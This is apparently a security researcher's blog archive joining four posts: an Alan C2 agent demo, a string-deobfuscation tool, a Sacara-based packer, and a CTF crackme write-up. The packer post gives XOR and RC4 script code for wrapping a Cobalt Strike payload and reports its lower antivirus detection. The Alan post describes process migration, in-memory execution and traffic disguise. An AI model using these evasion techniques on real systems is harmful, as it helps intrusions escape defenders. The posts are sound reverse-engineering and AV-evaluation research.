<iframe width="560" height="315" src="https://www.youtube.com/embed/oLXYUCX7dVY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<br /><br />
<h2>Security Operation</h2>
Beign caugth by a blue team is something that should be avoided if you don't want to lose access to your target. Unfortunately, network traffic is something that cannot be hidden. Alan encrypts the network traffic in a strong way, but even if encrypted the requests might look suspicious. To avoid to raise any alerts, the operator can increase the delay between two requests or customize the requests and server reponses to look as a <i>normal</i> HTTP traffic from a know application. The video below shows the following features:
<ul>
<li>Create a powershell agent</li>
<li>Migrate to notepad.exe process. When the migration is completed in the Fiddler window is possible to see that the process sending requests became notepad.exe</li>
<li>A command-shell is executed and the original agent powershell file is deleted. By deleting the file there is no trace of the agent on disk and the execution is performed only in-memory. Then, the operator downloads some files to his system</li>
<li>The HTTP network traffic is inspected. The agent network traffic looks like normal traffic to an nginx server with default installation</li>
</ul>
<br /><br />
<iframe width="560" height="315" src="https://www.youtube.com/embed/L-DVJO7u5Vw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<br /><br />
In the next release I'll implement additional features and strenght a bit the code to try to avoid easily detection by AVs ;)
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-3657215229801143112020-06-12T12:16:00.046-07:002020-06-13T08:53:55.721-07:00Deobfuscating C++ ADVobfuscator with Sojobo and the B2R2 binary analysis framework<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css" rel="stylesheet"></link>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script crossorigin="anonymous" src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<br />
Twitter: <a href="https://twitter.com/s4tan">@s4tan</a><br />
GitHub code: <a href="https://github.com/enkomio/Sojobo/tree/master/Src/Tools/ADVDeobfuscator">https://github.com/enkomio/Sojobo/tree/master/Src/Tools/ADVDeobfuscator</a><br /><br />
At <a href="https://www.youtube.com/watch?v=Z-QYa6dSc-o">Black Hat Europe 2014 - Amsterdam was presented</a> a new <a href="https://github.com/andrivet/ADVobfuscator">obfuscation tool named ADVobfuscator</a>. It is based on <a href="https://www.blackhat.com/docs/eu-14/materials/eu-14-Andrivet-C-plus-plus11-Metaprogramming-Applied-To-software-Obfuscation.pdf">C++11 metaprogramming</a>. The <a href="https://www.blackhat.com/docs/eu-14/materials/eu-14-Andrivet-C-plus-plus11-Metaprogramming-Applied-To-software-Obfuscation-wp.pdf">paper</a> describes in depth how the strings and function calls are obfuscated.<br />
<br />
ADVobfuscator demonstates how to use C++11/14 language to generate, at compile time, obfuscated code without using any external tool or a custom compiler.<br />
Compile time obfuscators (like this one) are quite annoying to analyze since it is not easy to write a generic deobfuscator that it is based on code patterns recognition. In fact, the resulting binary code depends on the compiler, the used flags and so on. This will result in a series of corner cases that must be correctly handled to correctly deobfuscated the code. The worst part is that the handling of these corner cases might not be reused for a different sample that was compiled with a different compiler or with different flags. My idea to solve this problem, it is to write a deobfuscator that is based on flags extracted through the execution of generic heuristics. In this way, I can abstract the analysis from the code details.<br />
<br />
Another interesting aspect of ADVObfuscator, it is that it was recently used to protect a malware sample that was analyzed in this very interesting <a href="https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/">blog post</a>. In particular, in section "<i>3. Latest variant of Team9 loader</i>", it is possible to see a reference to the strings deobfuscation process.<br />
<br />
In this blog post, I'll focus on the strings obfuscation part, by writing an utility that is able to decode the obfuscated strings. The deobfuscation utility uses the <a href="https://github.com/B2R2-org/B2R2">B2BR binary analysis framework</a> to statically analyze the binary, and <a href="https://github.com/enkomio/Sojobo">Sojobo</a> to emulate the code.<br />
<br />
The sample that I'll consider has SHA256 hash value: <b>aaa9268b4a80f75eeb58b61cbd745523b1823d5adf54c615ad9ddf6b8fa0e806</b>. It was used in a demo during my talk at HackInBo Safe Edition and can be downloaded from my <a href="https://github.com/enkomio/Conferences/tree/master/HackInBoSafeEditionMay2020">GitHub repository</a>.<br />
<br />
<h2>
Identify obfuscated strings</h2>
This is probably the most annoying part. We can't rely on specific code patterns, since according to the used compiler, the code might change. My idea was to abstract this concept and tries to identify interesting points, by using a series of heuristics. ADVObfuscator uses various methodologies to obfuscate the strings, some of them are reported below:
<br />
<pre><code class="x86asm">
1400012AA movdqa xmm0, cs:xmmword_140023520 ; load obfuscated buffer
1400012B2 movdqu [rbp+57h+var_90], xmm0
1400012B7 mov rcx, r14
1400012BA
1400012BA loc_1400012BA:; CODE XREF: sub_1400011F4+D4↓j
1400012BA mov al, byte ptr [rbp+57h+var_90]
1400012BD xor byte ptr [rbp+rcx+57h+var_90+1], al ; deobfuscation
1400012C1 add rcx, r15 ; Increase counter
1400012C4 cmp rcx, 0Eh ; check size
1400012C8 jb short loc_1400012BA
1400012CA mov byte ptr [rbp+57h+var_90+0Fh], r14b ; set null byte
</code></pre>
Unfortunately, not all deobfuscation tasks are implemented as in-line code, in some cases a function is invoked, as reported below.
<br />
<pre><code class="x86asm">
140006161 movdqa xmm0, cs:xmmword_140023800 ; load obfuscated buffer
140006169 lea rcx, [rbp+var_30] ; pointer to the obfuscated buffer
14000616D xor eax, eax
14000616F mov [rbp+var_20], 627A6844h
140006176 movdqu [rbp+var_30], xmm0
14000617B mov byte ptr [rbp+var_1C], al
14000617E call sub_140003684 ; call deobfuscation function
140006183 mov r9d, r15d
..............
140003684 sub_140003684 proc near ; CODE XREF: sub_140005EB8+2C6↓p
140003684 lea rax, [rcx+1] ; skip first byte, which is used as key
140003688 mov r9d, 13h ; set string size
14000368E mov r8, rax ; pointer to buffer to decode
140003691
140003691 loc_140003691:; CODE XREF: sub_140003684+19↓j
140003691 mov dl, [rcx] ; read XOR key
140003693 xor [r8], dl ; deobfuscation
140003696 inc r8 ; increment buffer pointer
140003699 sub r9, 1 ; decrement counter and check for termination
14000369D jnz short loc_140003691
14000369F mov [rcx+14h], r9b
1400036A3 retn
1400036A3 sub_140003684 endp
</code></pre>
In the later case, it is possible to see that the string size is hardcoded inside the function body and not passed as input parameter. This means that we have a lot of functions like that, that differ only for some minor changes (like the string size).<br />
<br />
<h2>
Heuristics definition</h2>
As said, my main idea is to analyze all the functions that the B2R2 framework is able to identify and extract the flags that are based on the heuristics that I created. You can find all the defined heuristics in the associated source code. An excerpt from that list is presented below:
<br />
<ul>
<li><a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/InstructionHeuristics.fs#L34">XOR with a single byte register</a></li>
<li><a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/InstructionHeuristics.fs#L47">XOR with a value on the stack</a></li>
<li><a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/InstructionHeuristics.fs#L59">Add a stack value with an immediate</a></li>
<li><a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/InstructionHeuristics.fs#L110">Call a function that does deobfuscation operations</a></li>
<li><a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/InstructionHeuristics.fs#L93">MOV immediate to stack</a></li>
<li><a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/InstructionHeuristics.fs#L71">JUMP to a lower address</a></li>
</ul>
The heurstics above are used for the following tasks:
<br />
<ul>
<li>Identify all functions that deobfuscate a string. This task is useful to cover the case of the deobfuscation process defered to another function.</li>
<li>Identify the start of the code in charge for the deobfuscation.</li>
<li>Identify the address of the buffer that will be deobfuscated. This is done by identifying the deobfuscation operation.</li>
<li>Identify the end of the code in charge for the deobfuscation.</li>
</ul>
<h2>
Emulation</h2>
At this point I have the following information: the functions that run a deobfuscation task and the related chunk of code in charge for this task. The final step is <a href="https://github.com/enkomio/Sojobo/blob/master/Src/Tools/ADVDeobfuscator/Emulator.fs">to emulate this code</a> and read the deobfuscated string from memory. Before to run the emulation it is necessary to execute one final step. The heuristics might miss some important information, like the register that is used to increment the counter (in one of the example above we can see that <i>r15</i> is used to increment the counter).<br />
<br />
To cover this problem I used two strategies. In the first strategy, I do a backtrace analysis starting from the identified start address, and verify if the instruction is safe to be emulated. If so, I'll change the start address.
The second strategy analyzes the instructions that should be emulated and if it notices that exists an operation that add two registers, I set the value of the source register, inside the emulator, to the value 1.<br />
These strategies seem to be good enough to catch possible registers initialization code.<br />
<br />
We can now run the emulator and read the decrypted string from memory.
<br /><br />
<h2>
Result</h2>
Below is reported a short video of the execution of the deobfuscation tool on the considered sample. With these information it shouldn't be too difficult to patch the original file and to NOP the deobfuscation operations. I tested it on various samples and it seems to work properly. If you found any errors just send me a message on twitter.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-qbOEgDz4IQw/XuPKEjuhNuI/AAAAAAAACh0/nPYdLNil6v8uN5Rj9tCw58t7cxQhv-TYwCPcBGAYYCw/s1600/ADVDeobfuscator_run.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-qbOEgDz4IQw/XuPKEjuhNuI/AAAAAAAACh0/nPYdLNil6v8uN5Rj9tCw58t7cxQhv-TYwCPcBGAYYCw/s400/ADVDeobfuscator_run.gif" width="480" height="274" data-original-width="1287" data-original-height="733" /></a></div>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-85034884895712842492019-12-17T04:08:00.000-08:002019-12-17T05:51:08.358-08:00Writing a packer in Sacara <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/highlight.min.js"></script>
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/styles/a11y-dark.min.css">
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/x86asm.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.10/languages/powershell.min.js" crossorigin="anonymous"></script>
<script>hljs.initHighlightingOnLoad();</script>
<p>Twitter: <a href="https://twitter.com/s4tan">@s4tan</a></p>
<p>GitHub project: <a href="https://github.com/enkomio/sacara">https://github.com/enkomio/sacara</a></p>
<p>Release: <a href="https://github.com/enkomio/sacara/releases/latest">https://github.com/enkomio/sacara/releases/latest</a></p>
<p>Sacara packer script: <a href="https://gist.github.com/enkomio/35b14084c1422db6740b5ed98cdb2db7">https://gist.github.com/enkomio/35b14084c1422db6740b5ed98cdb2db7</a></p>
<h1>The Sacara project</h1>
It is a while that I don't write a blog post and recently I had the opportunity to work again on the <b>Sacara</b> project. I really like this project since it allows me to:
<ul>
<li>write code in x86 Assembly since all the VM code is implemented in x86 Assembly</li>
<li>to better understand how to implement a simple programming language (you can find the Sacara grammar file <a href="https://github.com/enkomio/sacara/blob/master/Src/ES.Sacara.Ir.Parser/SacaraIrParser.fsy">here</a>)</li>
<li>how to write an assembler.</li>
</ul>
My <a href="https://antonioparata.blogspot.com/2018/11/sacara-vm-vs-antivirus-industry.html">previous post</a> on Sacara is more than 1 year old so it is a good time to see if the project has any issues that can be resolved. After trying to write a new script, I immediately realize which was the biggest defect, writing a program was quite a pain due to the awkward syntax. It is time to improve this aspect with some syntax sugar :).<br/><br/>
I released a new version <b>2.4</b> which adds some directives and other features that allows to easier the task of writing of a new script, leaving the VM core almost untouched.<br/><br/>
<h1>Writing a simple packer</h1>
As done in my latest post about Sacara, even in this one I'll try to see how the AV industry will behave by analyzing a malicious program. I'll write a simple program that executes a Sacara script which purpose is to decode and run a malicious content.<br/><br/>
This is the typical behavior of a packer, in my case I'll just decode and run the embedded content as if it was a shellcode. In general a packer will correctly maps the PE in memory and executes it by locating the Original Entry Point (OEP) but I'll leave this aspect out.<br/><br/>
This time I'll create a C project and linking the Sacara static library, in this way we will have just one binary (and not a bunch of files as in my .NET test project created in my previous post).<br/><br/>
For my test I wanted to use a real malware so I looked for some good stuff in VT. In the end I decided to use an unpacked Cobalt Strike payload whit SHA-1: <a href="https://www.virustotal.com/gui/file/5b2b749740482b2586255e3b3b2114cf9c689eb3b836e99f5a63c0a83f214711/">83a490496a7ea9562d6e3eb9a12a224fe50875e7</a>. This is a perfect fit for my case since all Cobalt Strike modules are packed in a way that can be executed as a shellcode starting for the DOS header (the same happens with the <a href="https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/meterpreter_loader.rb#L36">Metasploit meterpreter_loader</a>).<br/><br/>
The overall design is quite simple, I'll embed the encoded malicious content as a PE resource and will use a Sacara script to decode and execute it. The Sacara script will be embedded as a PE resource too. The task done by the C code is deadly simple, just read the needed resources, allocates a memory region and run the script by providing the input buffer.<br/><br/>
<h1>Implementation</h1>
I'll focus on the Sacara script, you can read the source code of the C code <a href="https://github.com/enkomio/sacara/blob/master/Src/Examples/SimplePacker/main.c">from the repository</a>. The tasks done by the script are:<br/>
<ol>
<li>Decode the password used to encrypt the malicious code</li>
<li>RC4 decrypt the resource content</li>
<li>Run the decrypted code</li>
</ol>
In order to easier the development and debugging of the script, I'll create various standalone scripts for each task and I'll merge them at the end. All the scripts in this post can be found in the <a href="https://github.com/enkomio/sacara/tree/master/Src/EndToEndTests/TestSources/SelfContained">test directory</a>.<br/><br/>
<h3>Decode the password used to encrypt the malicious code</h3>
As first step we want to retrieve the password used to encrypt the content. We don't want that a simple <i>string</i> search will reveals its value, so we will obfuscate it with a simple XOR operation by using a 1-byte key with value 0xA1.<br/><br/>
Below you will find the relevant code with a simple test case, I think its comments are self explanatory.<br/><br/>
<pre><code class="x86asm">// this routine will be used to stored the
// script global data, all labels are global
proc global_data
password:
// encoded password
byte 0xe0, 0xe1, 0xe2, 0xe3
endp
proc decode_password(pwd, pwd_len)
.mov index, 0
decode_pwd_loop:
// read the byte to decode
.mov pwd_offset, (pwd + index)
.read.b pwd_offset
pop xored_char
// decode the byte with hardcoded key
.xor xored_char, 0xA1
// write back the result
pop xored_char
.write.b pwd_offset, xored_char
// check if completed
.cmp index, pwd_len
.inc index
push decode_pwd_loop
jumpifl
ret
endp
proc main
// result must be the first variable if I want
// to retrieve the result with SacaraRun, so set it to 0
.mov result, 0
// invoke the routine to decode the password
.decode_password(password, 4)
// read the decoded password as a double word at the specified offset
.read.dw password
pop result
halt
endp
</code></pre>
To test if it works, we will try to deobfuscate the buffer 0x41, 0x40, 0x43, 0x42. We have to first obfuscate it, so we will compute the XOR operation between the two integers 0x42434041 (little endian) and 0xA1A1A1A1, which result in 0xE3, 0xE2, 0xE1, 0xE0 (this is the same buffer that you will find at the top of the script).<br/><br/>
Firs let's assemble it:
<pre><code class="powershell">c:\SacaraAsm.exe test_decode_buffer.sacara
-=[ Sacara SIL Assembler ]=-
Copyright (c) 2018-2019 Antonio Parata - @s4tan
[INFO] 2019-12-08 11:52:07 - VM code written to file: test_decode_buffer.sac
</code></pre>
We can now test the script by running it, passing the input value <i>0x42434041</i> and expecting as result 0x42434041 (or 1111703617 in decimal notation) which is the little-endian hexadecimal notation of our buffer.
<pre><code class="powershell">c:\SacaraRun.exe -p test_decode_buffer.sac 0x42434041
Execute file: c:\test_decode_bufferdecode_password.sac
Code execution result: 1111703617
</code></pre>
<br/><br/>
<h3>RC4 decrypt the resource content</h3>
Our second and most complex step is the decryption of the buffer. In my previous post I used a simple XOR algorithm, for this post I decided to implement the <a href="https://en.wikipedia.org/wiki/RC4">RC4 cryptographic algorithm</a>. If you are used to reverse malware you have probably encountered the usage of RC4 to encrypt configuration or code.<br/><br/>
As in my previous script I'll use a lot of comments to make the code easy to understand (I also avoided some trivial optimization to avoid over complication). Since this code is quite long you can find the source code of this step in a <a href="https://github.com/enkomio/sacara/blob/master/Src/EndToEndTests/TestSources/SelfContained/test_decrypt_RC4_buffer.sacara">test script</a>, in this post I'll only show the <i>KSA</i> and <i>PRGA</i> phases.
<pre><code class="Intel x86 Assembly">proc ksa(password, password_length)
.mov i, 0
.mov j, 0
ksa_loop:
// read the i-th byte from S array
.read.b (S + i)
pop S_i
// read the i-th byte from password
.read.b (password + (i % password_length))
pop pwd_i
// compute loop expression
.mov j, ((j + S_i + pwd_i) % 256)
.swap(i, j)
// check if I have to iterate
.inc i
.cmp i, 256
push ksa_loop
jumpifl
ret
endp
proc prga(buffer, buffer_length)
.mov i, 0
.mov j, 0
.mov n, 0
prga_loop:
// update index i
.mov i, ((i + 1) % 256)
// update index j
.read.b (S + i)
pop S_i
.mov j, ((j + S_i) % 256)
// swap
.swap(i, j)
// read indexes
.read.b (S + i)
pop S_i
.read.b (S + j)
pop S_j
// compute random
.read.b (S + ((S_i + S_j) % 256))
pop rnd
// read n-th buffer value
.read.b (buffer + n)
pop buffer_n
// XOR with buffer and write back the result
.xor buffer_n, rnd
pop encrypted_char
.write.b (buffer + n), encrypted_char
// check if I have to iterate
.inc n
.cmp n, buffer_length
push prga_loop
jumpifl
ret
endp</code></pre><br/>
The assembling step is the same as before.
<br/><br/>
<h3>Run the decrypted resource</h3>
At this step we have the code in a decrypted form, we just have to run it. This can be done by the infrastructure code (the C code) or from Sacara. Since Sacara allows to invoke native code via the <i>ncall</i> instruction we will use this approach.
<br/><br/>
<h3>Build the code</h3>
Now we have all the pieces for our packer, once compiled the <a href="https://github.com/enkomio/sacara/blob/master/Src/Examples/SimplePacker/main.c">infrastructure code</a> we can add the needed resources, that are:<br/><br/>
<ul>
<li>DATA: contains the buffer that will be decrypted and executed.</li>
<li>SECRET: is the RC4 password that will beu sed to decrypt the buffer. It is XOR encoded with the 0x41 value.</li>
<li>SACARA: the Sacara code that will decrypt the buffer and execute it.</li>
</ul>
<br/><br/>
To add the resources you can use a <a href="https://github.com/enkomio/Misc/tree/master/AddResource">simple utility</a> that I wrote or any other PE explorer utility. Finally, the full source code of the Sacara packer can be found <a href="https://gist.github.com/enkomio/35b14084c1422db6740b5ed98cdb2db7">here</a>.
<br/><br/>
<h1>Evaluation</h1>
As said my test will run a Cobalt Strike Payload encrypted with RC4 and the password: <b>sacara_packer_password</b>. I uploaded the file to VT and waited for the analysis, the result can be found <a href="https://www.virustotal.com/gui/file/670b19d3ef9b76d5f03029806b9447b04914eaf9f60499d867dca5c95a3f566f/detection">here</a>. We went from <b>52/70</b> to <b>24/69</b>.
<br/><br/>
Not bad but to be honest I was expecting a better result. If you run the code in a real environment you will notice that the decryption of the code is quite CPU intensive and needs several seconds before to be invoked, this means that the identification of malicious content via emulation is improbable due to performance reason.
<br/><br/>
I decided to do a second test and upload the same program but without resources, this will make the program 100% safe. The result was <a href="https://www.virustotal.com/gui/file/55fb2bbfaa5ca0f4cc5b4f6a0dcdabf1110bdaf1d8081b42a469235dc8279439/detection">very interesting</a>, <b>12/69</b> AV flagged my sample as malicious. This means that they flagged the Sacara code as malicious and not real payload.
<br/><br/>
<h1>Conclusion and Future Work</h1>
This new version of Sacara improved the language in order to easier the development of a script. The next step is to provide an easy access to the Windows API in order to create more meaningful programs. Also, I want to improve the VM code in order to make it more resistant to reverse engineering.<br/><br/>
Finally, I want to stress out that a single test case is not a valid reason to decide if an AV is good or not, so please take my result as a first step in the complex process of AV evaluation.
Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-55584695062986160342019-06-06T09:14:00.000-07:002019-06-08T07:15:26.595-07:00hm0x14 CTF: reversing a (not so simple) crackme<p>Twitter: <a href="https://twitter.com/s4tan">@s4tan</a></p>
<p>Writeup GitHub project: <a href="https://github.com/enkomio/Misc/tree/master/Hm0x14Writeup">https://github.com/enkomio/Misc/tree/master/Hm0x14Writeup</a></p>
I'm not used to participate in CTF competition but in this case I personally know the author of this challenge and I consider <a href="https://github.com/hackbunny">her</a> to be very smart, so I decided to give it a try. As I hope to show in this writeup, the challenge is very interesting and not the typical reverse engineering challenge.<br/><br/>
<h2>Introduction</h2>
The challenge file is:<br/><br/>
<strong><a href="https://github.com/enkomio/Misc/blob/master/Hm0x14Writeup/hm0x14.exe">hm0x14.exe</a></strong><br/>
SHA-256: <a href="https://www.hybrid-analysis.com/sample/7cad36c64df33e30673d98e24be4d60c38ba433aa72f8d2bec14f69db4dbf173">7cad36c64df33e30673d98e24be4d60c38ba433aa72f8d2bec14f69db4dbf173</a><br/><br/>
It is a C++ application. As first step I run the application to see what it looks like. I have to admit that the author put a lot of effort in making the challenge appealing from a UI point of view. Below an image of the run of the challenge:<br/><br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-cdFe0-EgzGc/XPfaBBBU4EI/AAAAAAAACU0/icRa4M4bI7Ub-JAXMBTPolPqvM7fc18fwCPcBGAYYCw/s1600/PRE.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-cdFe0-EgzGc/XPfaBBBU4EI/AAAAAAAACU0/icRa4M4bI7Ub-JAXMBTPolPqvM7fc18fwCPcBGAYYCw/s400/PRE.gif" width="400" height="283" data-original-width="1051" data-original-height="760" /></a></div><br/><br/>
<h2>Analysis</h2>
Before I continue, I have to say that this challenge remained unsolved since its creation. For this reason the author decided to have a talk on <a href="https://www.hackmeeting.org/hackit19/schedule.html#talk-reversing-ctf">how to solve it</a>. This write up is not based on her presentation.<br/><br/>
When you open the file in IDA you can immediately see that the main function is quite big. Taking a look at the decompiled source code we can see that the program initializes a DES provider and then read the resource <strong>Segreto</strong> from <strong>4DES</strong> which content is displayed in the image below:<br/><br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-38y21EDnNX4/XPgBZ6SuhXI/AAAAAAAACVI/UqXoKbCDRIEmDD50IjNSyKPbNIH8r0WswCLcBGAs/s1600/resource.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-38y21EDnNX4/XPgBZ6SuhXI/AAAAAAAACVI/UqXoKbCDRIEmDD50IjNSyKPbNIH8r0WswCLcBGAs/s400/resource.png" width="400" height="283" data-original-width="1014" data-original-height="633" /></a></div>
<br/><br/>
Proceeding with the debugging, it is clear that most of the code is in charge for the UI animation. After stepping a bit with the debugger, it will block on the function that reads the input password. After this function, it is easy to trace the program and see which is the function that accepts as first parameter the input password (which is, in this case, the string "1234567890").<br/><br/>
<hr/>
<pre>
00402E97 | 8D8D 50FEFFFF | lea ecx,dword ptr ss:[ebp-1B0] |
00402E9D | 50 | push eax | eax:&L"1234567890"
00402E9E | E8 08F2FFFF | call hm0x14.4020AB |
00402EA3 | 59 | pop ecx | ecx:L"xe"
00402EA4 | 33C0 | xor eax,eax | eax:&L"1234567890"
</pre>
<hr/><br/><br/>
By decompiling the code we can see that the main goal of this function is to invoke another function that I called <i>hash_chars</i> and then generates 4 symmetric keys. Since in the video there is a <b>4DES</b> banner I suspect that this function creates 4 keys that will be used in this new crypto algorithm :)<br/><br/>
<hr/>
<pre>
memset(&v25, 0, 0x20u);
if ( v7 )
v8 = password;
else
v8 = *password;
hash_chars(v8, &v25, v6); ; generate 4DES key buffer (8 byte = 64 bit, a typical DES key length)
if ( *(password + 20) < 8u )
v9 = password;
else
v9 = *password;
hash_chars(v9 + 2 * v6, &v26, v6); ; generate 4DES key buffer (8 byte = 64 bit, a typical DES key length)
if ( *(password + 20) < 8u )
v10 = password;
else
v10 = *password;
hash_chars(v10 + 4 * v6, &v27, v6); ; generate 4DES key buffer (8 byte = 64 bit, a typical DES key length)
if ( *(password + 20) >= 8u )
v3 = *password;
hash_chars(v3 + 6 * v6, &v28, hKey); ; generate 4DES key buffer (8 byte = 64 bit, a typical DES key length)
v11 = v19;
v12 = bcrypt_generate_symmetric_key(v19, &hKey, &v25);
v13 = bcrypt_generate_symmetric_key(v11, &v22, &v26);
v14 = bcrypt_generate_symmetric_key(v11, &v23, &v27);
v15 = bcrypt_generate_symmetric_key(v19, &v21, &v27); ; <----- ?!? (1)
</pre>
<hr/><br/><br/>
At this point we are not in good luck, since breaking this algorithm seems to be not so easy (just consider that 3DES is still considered a strong algorithm). Let's take a look at the function in charge for creating the key from our password, in the image below I have highlighted the main points:<br/><br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-X5RRArefuGQ/XPfhyI20iHI/AAAAAAAACU8/VNNTx9vHfIo4YPamcMJZiev45eYp1qkNwCLcBGAs/s1600/hash_txt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-X5RRArefuGQ/XPfhyI20iHI/AAAAAAAACU8/VNNTx9vHfIo4YPamcMJZiev45eYp1qkNwCLcBGAs/s400/hash_txt.png"/></a></div>
The loop is executed a number of times that depends on the password length. The meaning of the various circles is:<br/><br/>
* <strong>blue circle</strong>: read the <i>ith</i> character of the input password<br/><br/>
* <strong>orange circle</strong>: this is the main code. It just multiplies the current key value for <strong>0x1F</strong> and save only the low DWORD result value (remember this fact).<br/><br/>
* <strong>green circle</strong>: the value of the blue circle is added to the result<br/><br/>
* <strong>read circle</strong>: before to return the result in the ESI register, the value is shifted left by 5 (other point to remember)<br/><br/>
The code to generate the key from a password can be represented by the following F# code:<br/><br/>
<hr/>
<pre>
let hashChunk(password: String, offset: Int32, rounds: Int32) =
let mutable result = 1UL
for i=0 to rounds-1 do
result <- (result * 0x1FUL) + uint64 password.[i + offset]
(result <<< 5) &&& 0x00000000FFFFFFFFUL
let generateKey(password: String) =
let keys = [
let size = password.Length >>> 2
for i=0 to 3 do
let value = hashChunk(password, i * size, size)
yield BitConverter.GetBytes(value)
]
(keys.[1], keys.[0]) // I'll exaplin later why I only return these two keys
</pre>
<hr/><br/><br/>
Finally, the decryption of the resource content is done by executing the following code:<br/><br/>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-1jXEq9FWBQk/XPgD1TqQ9nI/AAAAAAAACVU/vrgUtC9c4agilH7H62B9mrJysK_QRRtxQCLcBGAs/s1600/do_decrypt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-1jXEq9FWBQk/XPgD1TqQ9nI/AAAAAAAACVU/vrgUtC9c4agilH7H62B9mrJysK_QRRtxQCLcBGAs/s400/do_decrypt.png" width="400" height="283" data-original-width="831" data-original-height="761" /></a></div>
<br/><br/>
Which can be summarized as:<br/><br/>
<h4>P = D(E(D(E(C, k1), k2), k3), k4)</h4><br/><br/>
If during the decryption the application identify an error, the image of the skull is displayed (if you are wondering which skull, watch the first video till the end ^^).<br/><br/>
<h2>Implementation Errors</h2>
Let's take a break to do a recap of the info that we have. Despite the fact that each key is 8 bytes long, only the first 4 bytes are used, so here we have the first error. However, breaking such a keyspace is still not feasible with my laptop.<br/><br/>
One of the most important aspect that will help us is pointed out in the decompiled code above with reference (1). I'll rewrite the code below for easy reference:<br/><br/>
<hr/>
<pre>
v12 = bcrypt_generate_symmetric_key(v19, &hKey, &v25);
v13 = bcrypt_generate_symmetric_key(v11, &v22, &v26);
v14 = bcrypt_generate_symmetric_key(v11, &v23, &v27);
v15 = bcrypt_generate_symmetric_key(v19, &v21, &v27);
</pre>
<hr/><br/><br/>
Do you see it? The last two operations reference the same exact value! By debugging the application we can notice this fact since the first two operations use the same key, invalidating the result. So the effective decryption process is:<br/><br/>
<h4>P = D(E(D(E(C, k1), k1), k2), k3) = D(E(C, k2), k3)</h4><br/><br/>
So we downgraded the algorithm to a 2DES and if you have ever followed a cryptographic course, you know that there is a reason if we jumped from <b>DES</b> to <b>3DES</b> by skipping <b>2DES</b>.<br/><br/>
<h2>Meet In the Middle</h2>
The reason why <b>2DES</b> is considered not secure is for this specific attack. By quoting wikipedia:<br/><br/>
<i>When trying to improve the security of a block cipher, a tempting idea is to encrypt the data several times using multiple keys. One might think this doubles or even n-tuples the security of the multiple-encryption scheme, depending on the number of times the data is encrypted, because an exhaustive search on all possible combination of keys (simple brute-force) would take 2^(n-k) attempts if the data is encrypted with k-bit keys n times.<br/><br/>
The MITM is a generic attack which weakens the security benefits of using multiple encryptions by storing intermediate values from the encryptions or decryptions and using those to improve the time required to brute force the decryption keys. This makes a Meet-in-the-Middle attack (MITM) a generic space–time tradeoff cryptographic attack.<br/><br/>
The MITM attack attempts to find the keys by using both the range (ciphertext) and domain (plaintext) of the composition of several functions (or block ciphers) such that the forward mapping through the first functions is the same as the backward mapping (inverse image) through the last functions, quite literally meeting in the middle of the composed function. For example, although Double DES encrypts the data with two different 56-bit keys, Double DES can be broken with 2^57 encryption and decryption operations.</i><br/><br/>
Since we know that our key is 32 bit long we can break this encryption with 2^37 operations. Nice... in theory. I don't know about you, but my laptop is still not so powerful to break such a keyspace. There must be some other way to downsize the key.<br/><br/>
Indeed, there is! If you take another look at the function that generates the key from a password you will notice that the final result is left shifted 5 times, this means that the least 5 important bits are always zero! With this information we can downgrade the key from 32 bit to 27 bit!<br/><br/>
At this point I started to implement the algorithm, but 27 bit are still too much for my laptop. I have to confess that I was stuck at this point. Talking with the author, she told me that there is still a way to downgrade the key size from 27 to 24 bits.<br/><br/>
